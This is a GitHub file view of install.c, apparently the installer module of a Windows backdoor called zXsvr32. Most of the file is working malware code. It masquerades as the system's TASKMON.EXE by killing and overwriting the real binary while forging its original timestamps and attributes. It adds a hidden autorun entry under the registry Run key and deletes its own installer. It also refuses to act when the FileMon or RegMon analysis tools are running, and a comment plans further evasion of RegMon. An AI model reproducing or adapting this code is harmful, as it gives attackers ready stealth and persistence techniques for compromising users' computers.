-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathinstall.c
151 lines (141 loc) · 4.58 KB
/
install.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
#include <windows.h>
#include "defines.h"
#include "macros.h"
#include "globals.h"
#include "misc.h"
#define RegRootKey HKEY_LOCAL_MACHINE
#define RegRunPath "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
#define RegHostKeyName "TaskMonitor"
#define RegHostFileName "TASKMON.EXE"
#define hostWndClass "MSTaskMonClass"
#define hostFileName "TASKMON.EXE"
#define getHostDirectory GetWindowsDirectory
#define WIN_INI_sec "Compatibility32"
#define WIN_INI_key "ZXSVR32"
int install()// returns 0 if this instance must terminate, else returns ~0
{
char *lpC = GetCommandLine();
HANDLE hF;
HWND hW;
FILETIME createTime,lastAccessTime,lastWriteTime;
DWORD fileAttr;
char zX_path[MAX_PATH];
char host_path[MAX_PATH];
HKEY hK;
COPYDATASTRUCT cds;
char buf[11];
#ifndef noChk4FileMon
if (fileMonRunning)//if filemon running!
return 0;//0 to exit
#endif
getHostDirectory(host_path,MAX_PATH);
lstrcat(host_path,"\\");lstrcat(host_path,hostFileName);
GetModuleFileName(0,zX_path,MAX_PATH);
#ifdef noChk4version
if (hW=FindWindow(zXClassName,0))
{
cds.dwData=zXver_num;
cds.lpData=zXver;
cds.cbData=lstrlen(zXver)+1;
SendMessage(hW,WM_COPYDATA,zXmsg_newVersion,(LPARAM)&cds);/*ask old version to exit*/
}
goto zXinstall;
#endif
#define zXver_num_current _atox(buf+4)//'0x80??????'; ??????:version
GetProfileString(WIN_INI_sec,WIN_INI_key,"0x80000000",buf,11);buf[10]=0;
if (zXver_num_current<zXver_num)
{
if (hW=FindWindow(zXClassName,0))
{
/*check if currently running zXsvr32 is older*/
if (SendMessage(hW,zXmsg_server,zXmsg_getVersion,0)<zXver_num)
{
cds.dwData=zXver_num;
cds.lpData=zXver;
cds.cbData=lstrlen(zXver)+1;
SendMessage(hW,WM_COPYDATA,zXmsg_newVersion,(LPARAM)&cds);/*ask old version to exit*/
SendMessage(hW,zXmsg_server,zXmsg_newVersion,zXver_num);
/*versions before v0.6.9t will respond only to this message*/
}
else
return 0;/* newer version running ... */
}
zXinstall:
if /*while*/(hW=FindWindow(hostWndClass,0))
{
/*terminate the host program if running ...*/
GetWindowThreadProcessId(hW,&I/*&pid*/);
if (hF=OpenProcess(PROCESS_TERMINATE,0,I/*pid*/))
{
if (TerminateProcess(hF,0))
WaitForSingleObject(hF,10000);
CloseHandle(hF);
}
}
if (lstrcmpi(host_path,zX_path))//if i am not the host_path file; ie i am not installed
{
if (~(fileAttr=GetFileAttributes(host_path)))
{
if (hF=CreateFile(host_path,0,FILE_SHARE_READ|FILE_SHARE_WRITE,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0)){
GetFileTime(hF,&createTime,&lastAccessTime,&lastWriteTime);
CloseHandle(hF);
}
}
SetFileAttributes(host_path,FILE_ATTRIBUTE_NORMAL);
for(I=10;I && !CopyFile(zX_path,host_path,0);--I,Sleep(1000));
if (~fileAttr)
{
hF=CreateFile(host_path,GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
SetFileTime(hF,&createTime,&lastAccessTime,&lastWriteTime);
CloseHandle(hF);
SetFileAttributes(host_path,fileAttr);
}
if (I)//file replacement successful
{
wsprintf(g_buf,"0x80%.6X",zXver_num);
WriteProfileString(WIN_INI_sec,WIN_INI_key,g_buf);
#ifndef noDeleteInstaller
lstrcat(host_path," del:");lstrcat(host_path,zX_path);
#endif
createProcess(host_path);
return 0;//exit process after returning from this function
}
}
}
else{
/*same or newer version is/had_been installed*/
if (lstrcmpi(host_path,zX_path)/* am i it ?! */){
/* i am not the one ...*/
if (!FindWindow(zXClassName,0)/*if it isn't running, then run it!*/){
if (!createProcess(host_path))
goto zXinstall;/*if i couldn't execute it, then i take over ...*/
/*
else
the installed version now running, so exit ...
*/
}
return 0;/*newer version already running, so exit*/
}
/* i am installed ... (this is what happens everytime other than the first)
else
continue running ...
*/
}
for(I=lstrlen(lpC)-4;I && *((unsigned long *)(lpC+I))!=':led';--I);
if (I)
for(lpC+=I+4,I=10;I && !DeleteFile(lpC);--I,Sleep(1000));//MUST create low priority thread to do the deleting
#ifndef noChk4RegMon
if (!regMonRunning)//if regmon not running!
#endif
{
if (_RegOpenKeyEx(RegRootKey,RegRunPath,0,KEY_WRITE,&hK)==ERROR_SUCCESS)
{
//MUST enumerate the sub-keys, one by one; get the value and write the value;
// for the required key write back the new value if required
// this will make it difficult to detect in regmon
_RegSetValueEx(hK,RegHostKeyName,0,REG_SZ,host_path,lstrlen(host_path));
_RegCloseKey(hK);
}
}
return -1;//-1 to continue running
}